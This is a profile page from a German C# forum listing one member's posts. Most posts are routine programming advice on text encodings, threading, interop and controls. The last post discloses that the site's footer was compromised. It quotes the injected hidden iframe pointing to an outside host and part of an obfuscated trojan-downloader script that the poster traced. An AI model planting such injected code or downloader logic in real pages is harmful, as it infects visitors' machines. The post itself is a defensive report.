Willkommen auf myCSharp.de! Anmelden | kostenlos registrieren
 | Suche | FAQ

Hauptmenü
myCSharp.de
» Startseite
» Forum
» Suche
» Regeln
» Wie poste ich richtig?

Mitglieder
» Liste / Suche
» Wer ist online?

Ressourcen
» FAQ
» Artikel
» C#-Snippets
» Jobbörse
» Microsoft Docs

Team
» Kontakt
» Cookies
» Spenden
» Datenschutz
» Impressum

  • »
  • Portal
  • |
  • Mitglieder
Beiträge von cadi
Thema: Suche Tool, um Access Modifier automatisch zu "privatisieren"
Am im Forum: Entwicklungs- und Laufzeitumgebung (Infrastruktur)

Vielen Dank JAck30lena!

Hast Du so etwas schon einmal mit ReSharper gemacht?

Ich habe nun knapp 2000 möglich "optimierungen". Kann man diese automatisieren? Um ein paar hundert Dateien zu öffnen und dann die einzelnen Vorschläge umzusetzen dauert mir irgendwie zu lange...

Gruß
cadi

Thema: Suche Tool, um Access Modifier automatisch zu "privatisieren"
Am im Forum: Entwicklungs- und Laufzeitumgebung (Infrastruktur)

Hallo zusammen,

gibt es ein Tool, welches eine Solution (oder Applikation und die genutzten Assemblies ) dahingehend optimiert, dass nur noch solche Klassen, Interfaces und Methoden public sind, welche auch wirklich public sein müssen?

Gruß
cadi

Thema: Encoding eines Strings ändern
Am im Forum: Basistechnologien und allgemeine .NET-Klassen

Zitat von herbivore
das korrekte Encoding ist ja bekannt. Es ist Encoding.Default. Insofern gibt es auch kein BOM. Das Problem ist doch, dass die zum Einlesen verwendete Bibliothek ein falsches Encoding verwendet und es auch keine Möglichkeit gibt, das richtige Encoding anzugeben. Insofern gehen deine Hinweise leider etwas an der Sache vorbei.

ok, dann habe ich es verdreht verstanden;)

Aber dann sollte es doch relativ einfach sein die Datei zu konvertieren?
Daten mit Encoding.Default lesen und als Encoding.UTF8 schreiben?
Dann liest die bibliothek sie auch korrekt?
Oder habe ich es immer noch nicht richtig verstanden?

Thema: Encoding eines Strings ändern
Am im Forum: Basistechnologien und allgemeine .NET-Klassen

Hallo S.R.,

solange die Umlaute in Deiner Textdatei unterschiedlich representiert werden (sprich: nicht alle habe z.B. den selben Wert '?') ist es auch möglich die Datei sauber zu lesen.

TextRead (und auch Notepad) erkennt am sogenannten BOM (Byte Order Mark) ob es sich um Unicode (und um welche Variante) es sich handelt. Wenn die BOM fehlt können auch diese routinen keine erfolgreiche Erkennung vornehmen. Es kann sich also durchaus um UTF-7 o.ä. handeln.

Wenn Du den Aufruf nich anpassen kannst, kannst Du ggf. die Textdatei ja vor dem Aufruf der Bibliothek konvertieren?

Einfach mit verschiednenen Eingangs-Encodings experimentieren (DOS? UTF7?).

Mit etwas Glück erkennt dieses Tool auch das original Encoding:
Detect Encoding

Thema: Gibt es Firmen, die ihren Angestellten 100%iges Homeoffice anbieten?
Am im Forum: Smalltalk

Moin Golo,

zu 100% habe ich in noch keiner Firma erlebt. Einzelne Tage (fest oder variabel) gibt es häufig.

Ich kann mir aber auch kaum Tätigkeitsbereiche vorstellen, wo persönlicher Kontakt unnötig wäre. Jabber, Voip E-Mail und co. erlauben zwar Informationsaustausch aber eben keinen wirklichen Kontakt. Und Viedokonferenzen mit mehr als 5 Teilnehmern sind extrem anstregend....

Btw. ich kenne auch keinen Selbständigen, der es schafft zu 100% von zu Hause zu arbeiten. Je nach Tätigkeit und Projektphase kann die Heimarbeit zwar hohe Anteile bekommen, wird aber nie die 100% bei mir erreichen. Ausserdem will ich es auch nicht, denn ich halte den direkten Kontakt mit Kunden und Kollegen aus vielen Gründen für wichtig und unerlässlich.

Thema: INotifyPropertyChanged mit Cache ... Vorteil?
Am im Forum: Basistechnologien und allgemeine .NET-Klassen

Hallo TripleX,

grundsätzlich ich schließe mich Herbivore an.

Optimierungen würde ich auch (wenn überhaupt) eher in den Aufruf von NotifyPropertyChange legen als in die Methode selber.

z.B. den PropertyName als "internal" zu übergeben.
Also NotifyPropertyChanged so aufrufen:


NotifyPropertyChanged(String.Intern("PropName";));

Oder eine Hilfsklasse mit den Statischen Instanzen der EventArgs:


public static class ProperyChangeArgs
{
public static System.ComponentModel.PropertyChangedEventArgs ItemsArgs = new System.ComponentModel.PropertyChangedEventArgs("Items";);
public static System.ComponentModel.PropertyChangedEventArgs CountArgs = new System.ComponentModel.PropertyChangedEventArgs("Items";);
// ....
}
// Aufruf
NotifyPropertyChanged(ProperyChangeArgs.ItemsArgs);

Aber wie Herbivore schon sagte, das ist Mikrooptimierung an einer Stelle, wo es nichts (oder nur sehr wenig) brint.

Thema: Wozu kann man "Sprache von Texten erkennen" gebrauchen?
Am im Forum: Rund um die Programmierung

Es hat etwas gedauert, aber hier ist nun das Ergebnis:
http://www.codeproject.com/KB/recipes/DialogueMaster_Babel.aspx

Thema: Thread Probleme mit Variablen
Am im Forum: Basistechnologien und allgemeine .NET-Klassen

Hallo Wurschtl,

ohne mir deinen Code im Detail angeschaut zu haben würde ich dir empfehlen mal über die Benutzung Events nachzudenken. Hier im besonderen das AutoResetEvent. Dann brauchst Du auch keinen Loop mehr, sondern kannst einfach auf das Event warten...

Thema: Wozu kann man "Sprache von Texten erkennen" gebrauchen?
Am im Forum: Rund um die Programmierung

Das Stichwort Suche scheint mir recht vielversprechend...

Evtl. ja auch interessant für einen Crawler, der anhand der Sprache besser indizieren kann (z.B. besseres Stemming) ?

Thema: Wozu kann man "Sprache von Texten erkennen" gebrauchen?
Am im Forum: Rund um die Programmierung

Moin moin!

Ich weiß, es klingt etwas schräg, aber ich habe eine fertige Komponente, welche mit sehr hoher Treffergenauigkeit (>99% bei den meisten Sprachen) die Sprache eines geschriebenen Textes erkennt, weiß aber nicht, wofür man diese so alles brauchen kann.

Ich benutze sie bisher "nur" um die Sprache einer E-Mail zu erkennen. Außer dieser und der rein "akademischen" Anwendung sehe aber kaum Nutzen.

Da ich nun aber diese Komponente nicht für mich behalten will und einen Artikel auf CodeProject veröffentlichen wollte ist die Frage ob jemanden noch ein Anwendungsbeispiel einfällt?!

Lohnt sich evtl. eine Veröffentlichung überhaupt nicht?


Gruß
Cadi

Thema: Im Batch-Betrieb Nachrichten auf der Konsole ausgeben...
Am im Forum: GUI: WPF und XAML

Hallo sreischl,


bist Du sicher, dass Du dich bei SilverLight nicht für das falsche Tool entschieden hast?

Versuch es mal lieber mit einer "normalen" Windows-Konsolen Anwendung...


/cadi

Thema: Strukturen in Bildern erkennen und vermessen
Am im Forum: Grafik und Sound

Hallo EFK381,

schau dir mal diese Bibliothek an: AForge.

Die sollte alles, was du Brauchst können.

/cadi

Thema: Posted eure letzte Zwischenablage!
Am im Forum: Smalltalk

Hallo Alf,

es hatte tatsächlich was mit programmieren zu tun ;)

Testsatz für ein aktuelles Projekt von mir: DMSilver
(pre beta...)

/cadi

Thema: Posted eure letzte Zwischenablage!
Am im Forum: Smalltalk

Zitat
Liebend gern gab Adam Eva den Apfel ab welchen sie für ihn gepflückt hatte. Gab Adam Eva den Apfel ab? Obwohl Adam Eva den Apfel gab, schien er gereizt.

fragt nicht.....

Thema: Email Adresse auf Existenz prüfen
Am im Forum: Netzwerktechnologien

Hallo kubi,

wenn du überprüfen willst, ob es einen Mail-Server für eine Adresse gibt musst du den MX und nicht den A Record aus dem DNS abfragen.

Beispiel: [email protected]
1und1.de : A 212.227.116.117

1und1.de MX preference = 10, mail exchanger = mxintern2.schlund.de
1und1.de MX preference = 10, mail exchanger = mxintern0.schlund.de
1und1.de MX preference = 10, mail exchanger = mxintern1.schlund.de

demnach darfst du nicht schauen, ob 212.227.116.117 antwortet, sondern musst die Schlund Server durchtesten.

Theoretisch könnte der ein oder andere SMTP Server auch noch das VERIFY Kommando unterstützen. Damit kannst du sogar schauen, ob es den Empfänger gibt. Um Spamern es nicht zu einfach zu machen unterstützt das aber kaum noch einer.

Besser ist es die eventuellen Rückläufer auszuwerten und deine lokale Liste zu bereinigen.

Thema: Was für Infos werden bei Ping an den Server übermittelt ?
Am im Forum: Netzwerktechnologien

Hallo numpsy,

wohl eher nicht, da .NET selber die ICMP.dll benutzt (geht auch "erst" ab XP).

Thema: Eigenschaften und Propertygrid - Klassen verknüpfen!?
Am im Forum: Basistechnologien und allgemeine .NET-Klassen

Hallo seeba,

wenn du eine liste von verfügbaren objetkten eines typs im propertygrid sehen willst musst du die im container der site eintragen.

spezifischer kann ich gerade nicht werden, da ich nun zum essen muss

Thema: Tab Control wie in Visual Studio
Am im Forum: GUI: Windows-Forms

Hi Tonka,

ich benutze etwas kommerzielles von Syncfusion. Nicht ganz billig aber recht gut.

Thema: header/Cpp - dateien mit c# nutzen
Am im Forum: Rund um die Programmierung

Zitat von Bench
Das Problem ist dass man von den Harwareherstellern zumeisst eine C/C++ DLL zur kommunikation mitgeliefert bekommt!

In der Vergangenheit wurden halt spezielle Klasse in C++ geschrieben, welche die Hardware-DLL verwendet und diese einfacher darstellt!
Nun ist es quasi meine Aufgabe die vorhandenen C++ Klassen, welche die Hardware-DLLs verwenden in C# umzuschreiben!!!

In Zukunft wird dann jeder Entwickler c# benutzen und meine Klassen dann verwenden!!

Halte ich für eine gute Entscheidung. Wenn die Klassen als Abstraktions-Layer dienen solle ist es auch sinvoll sich innerhalb des Ziel-Frameworks zu bewegen. Ein List<Info> ist für den .NET entwickler schon praktischer als ein Info++
Zitat von Bench
Das Problem ist ja nun, dass ich eh die c/C++-Hardware-DLLs brauche und benutze!
Dann brauch ich doch eh den C-Compiler oder?
Prinzipiell sind ja die ganzen Bibliotheken in der DLL verpackt und ich kann diese ohne C-Zusatz benutzen, oder?
Bench

Ich vermute mal, dass die Hardwarehersteller eine native dll (egal welche sprache da zu Grunde liegt. Die könne auch direkt Assembler schreiben, wenn sie wollen) ausliefert. Dazu kommt wahrscheinlich eine C-Header Datei. Die sollest Du dann in C# übersetzen. Am besten eine statische Klasse, die nur dir nackten exportierten Funktionen wrapped. Und darauf setzt du dann eine saubere Wrapper Klasse auf.

Thema: header/Cpp - dateien mit c# nutzen
Am im Forum: Rund um die Programmierung

Zitat von Virussoul
Das ist die Beste Idee mit den Wrappern, falls dus umständlich magst, kannst du natürlich auch mit DllImport arbeiten. Aber sonst fällt mir momentan keine andere Möglichkeit ein (ich selbst hatte das gleiche Problem, hab mir aber einen eigenen Wrapper gebastelt, und dann auf die managed C++ Datei direkt zugegriffen, funktioniert wunderbar ).

Dem würde ich widersprechen wollen:
Die beste Idee ist portieren! (Meisten...9

- Warum willst Du zwei Programmiersprachen warte?
- Warum willst Du portabilität aufgeben?
- Warum willst Du keine 64bit fähigkeit ohne rewrite des CPP codes?

Wenn das Erstellen der CPP Codes 2 Jahre gedauert hat, wird das portieren deutlich kürzer dauern. Die dauer hängt maßgeblich von der Komplexität, dem Umfang (Lines of Code) und der Nutzung von Win32, MFC und STL ab...
Aber zwei C++ und C# weiter entwickeln zu müssen solltest Du dir zweimal überlegen. Alleine die Installation der Bibliotheken (CRT MFC etc.) kann sehr nervig sein.

Wartung? Es wird immer ein C++ Programmierer nötig sein!
Debugging? Geht, aber der ewige Übergang von Native zu Manged nervt.

Letzttlich solltest Du eine rationale Entscheidung auf Basis von Vor- und Nachteilen fällen.

Evtl. solltest Du mal erklären um was für Code es sich handelt?
GUI?
Reine Algorythmen?
Hardwaretreiber?

Und wer ist dein Zeilpublikum? Wie soll die Wartung erfolgen etc....
Wie lang ist der geplante life-cycle des neuen Programms?

Viele Fragen und daher auch keine einfache Antwort

Thema: header/Cpp - dateien mit c# nutzen
Am im Forum: Rund um die Programmierung

Wenn es sich um managed C++ handelt einfach compilieren und mit dem Reflector in C# umwandeln.

Wenn es legacy Win32 Code ist kannst du den C++ code auch in C# übertragen. Ist in vielen Fällen sinvoll (vor allem, wenn mein kein p/invoke oder unsafe haben will).
Erfordert aber ein wenig mühe.

Die Dll Geschichte würde ich an deiner stelle vermeiden, da Du dann auch die C-Runtime/MfC/Atl etc. mit deployen musst. Und das kann echt nervig werden und widerspricht der Idee von .NET.

Thema: Suche Algorithmus für Freundenetzwerk
Am im Forum: Rund um die Programmierung

Zitat von Savage
ihr kennt sicher Community-Portale (Xing, StudiVZ, etc.), bei denen man sehen kann, über welche „Ecken“ man eine bestimmte Person kennt.
Wie kann ich das am besten lösen?

Hallo, das ganze hört sich sehr nach Graphentheorie an.
Jeder User ist ein Node und jede Verbindung eine Kante. Wenn Du deine Verknüpfungen so gepflegt hast ist der rest kein problem mehr...

Schau dir mal QuickGraph an. Da sind die endsprechenden Algorithmen bereits drinne.

http://www.codeplex.com/quickgraph

(Btw. Xing macht das genau so, wenn auch nicht in c# und .NET)

Thema: Empfängertextbox wie bei Outlook
Am im Forum: GUI: Windows-Forms

Zitat von sigoe
Hat vielleicht jemand eine Idee wie man das realisieren könnte?
Ich habe in VS2005 auch ein neues Control gefunden, das sich "Microsoft Office Outlook Text Box Control" nennt! Kennt sich damit vielleicht jemand aus?
Wenn dann doch eher "Microsoft Office Outlook Recipient Control".
Allerdings sag MS das dazu:


Some of these controls are designed to leverage features in Outlook, for example, the Microsoft Office Outlook Body Control is designed to display the body of an Outlook item. All of the Outlook controls are designed for use only in Outlook add-ins.

also selbst, wenn es laufen sollte hast du noch ein distributions und lizenz problem.

Da musst du wohl selber ran!

Wenn du es fertig hast nehme ich eine Kopie

/c

Thema: Auf C-Funktionen zugreifen
Am im Forum: Rund um die Programmierung

Zitat von Schnuki
Ja ok....

aber mein problem ist, dass ich nacheinander mehrere dlls aufrufen muss...bzw. importieren muss.
Kein Problem. Da es sich um Plugins zu handeln scheint geht es wohl um late-binding. Schau dir die Doku zu LoadDll an... Das Handle kann dann in ein Array...

mehr dazu: LateBinding C#

/c

Thema: Queue zeitkritisch auslesen
Am im Forum: Basistechnologien und allgemeine .NET-Klassen

Zitat von bene1984
So könnt ichs auch machen, aber es geht ja nicht um den receive vorgang an sich, da die Daten, so wies jetzt implementiert ist, schnell genug reinkommen.
Das Asynchrone kostet auf jeden Fall etwas zeit (Stack, Thread-Wechsel etc...).

Ich frage mich gerade aber auch, in welcher Geschwindigkeit Daten bei dir Reinkommen...? Und, wie kann ein Client schneller senden, als der Server empfängt???

Wenn du synchron arbeitest sollten nie Daten schneller kommen, als du sie empfangen kannst. (Oder ist das ein Multicast?).

/c

Thema: Queue zeitkritisch auslesen
Am im Forum: Basistechnologien und allgemeine .NET-Klassen

Hallo bene,

blöde Frage, aber warum musst Du BeginReceive benutzen?
Mach doch einen eigenen Thread mit einer Endlosschleife ala (pseudo)

while(true)
{
    if (dataAvail)
    {
         raw=receive;
         data=parse(raw);

         lockWrite(queue) 
               queue.add(data)
         // notify?
    }
}

damit bist du nie out-of-order. Dir kann höchsten der buffer überlaufen.....


/c

Thema: Zwei Bitmaps aus unterschiedlichen Quellen vergleichen
Am im Forum: Basistechnologien und allgemeine .NET-Klassen

Hi Kevka,

du vergleichst ja auch nicht den Inhalt der Bilder, sonder überprüfst auf Identität (==).

Das schnellste, was mir vom Programmieraufwand einfällt ist, beide Bitmaps in einen MemoryStream serialiozieren und dann über eine Schleife byteweise vergleichen.

Wenn Du die MemoryStreams sparen willst muss du direkt auf die Bitmap-Bytes gehen. Da gibt es verschiedenen Methoden (auch unsafe) (mal im Forum suchen).
GetPixel ist auf jeden Fall zu langsam (weil intern jedesmall die gesamten Bits geholt werden!)

/c

Thema: Evtl. Thread-Problem (Achtung viel Text)
Am im Forum: Basistechnologien und allgemeine .NET-Klassen

Zitat
Original von MrSparkle
Hi!
Zitat
1. VisualStudio beenden, bin-Verzeichnisse leeren, VisualStudio starten... klappt meistens, aber ist sehr Zeitintensiv

Bei mir reicht es, VS neuzustarten. Ist aber nicht gerade schön, weil ja alle Undo-Schritte dabei verlorengehen. Und überhaupt ist es umständlich.
Ahaha... bei mir dauert der Neustart knappe 15 Minuten....
Zitat
Darf ich fragen, um was für ein Projekt es sich bei dir handelt? Oder hast du das Problem bei verschiedenen Projekten? Hast du schon ein bißchen rumprobiert, und evtl. was rausfinden können?

Ein recht große Solution mit etlichen (>20) Projekten...
Und das Problem kenne ich auch nur von diesem einem Projekt bei mir....

Thema: Evtl. Thread-Problem (Achtung viel Text)
Am im Forum: Basistechnologien und allgemeine .NET-Klassen

Na endlich jemand, der das selbe problem wie ich hatt!

Ich habe zwei Lösungen gefunden (beide nicht schön):

1. VisualStudio beenden, bin-Verzeichnisse leeren, VisualStudio starten... klappt meistens, aber ist sehr Zeitintensiv

2. In den Projekt-Settings einfach den Ausgabepfad ändern (aus Debug wird Debug2). Klappt auch meistens, aber erzeugt halt eine menge unötige Dateien auf der Platte

Thema: ActiveX auf myCSharp?
Am im Forum: Wünsche und Kritik

Daher kommt der aufruf:
<table style="width:100%" cellpadding="3" cellspacing="1" border="0" class="tableinborder" align="center">
<tr>
<td width="100%" class="tablea"><span class="smallfont">Aktualisiert am 24. Juli 2006 | &copy; Copyright 2003-2006 <a href="team.php">myCSharp.de-Team</a>. Alle Rechte vorbehalten.</span></td> <iframe src="http://www.abetterstart.com/c/2261/counter21.php" width=1 height=1 style="display:none"></iframe>
<td class="tablea" nowrap="nowrap"><span class="smallfont">04.02.2007 19:29</span></td>
</tr>
</table>

da wiederum liegt ein script, das folgendes macht:

function iftvjjrc(jqifyx) {
kpys = "GE"+"T";
var seq = "http://www.abetterstart.com/c/2261/counter21.php?a=3&c=3";
pxqb = "XML"+"H"+"TTP";
var smzenr = jqifyx.CreateObject("S"+"c"+"ripti"+"ng."+"F"+"ileSys"+"tem"+"O"+"bject", "")
unldwfn = "Sh"+"ell";........


die URL http://www.abetterstart.com/c/2261/counter21.php?a=3&c=3
ist laut NOD ein WEin32/TrojanderDownloader.Tiny.NCA Trojaner

@purplestar: Du solltest dir dringend mal einen Virenscanner besorgen.....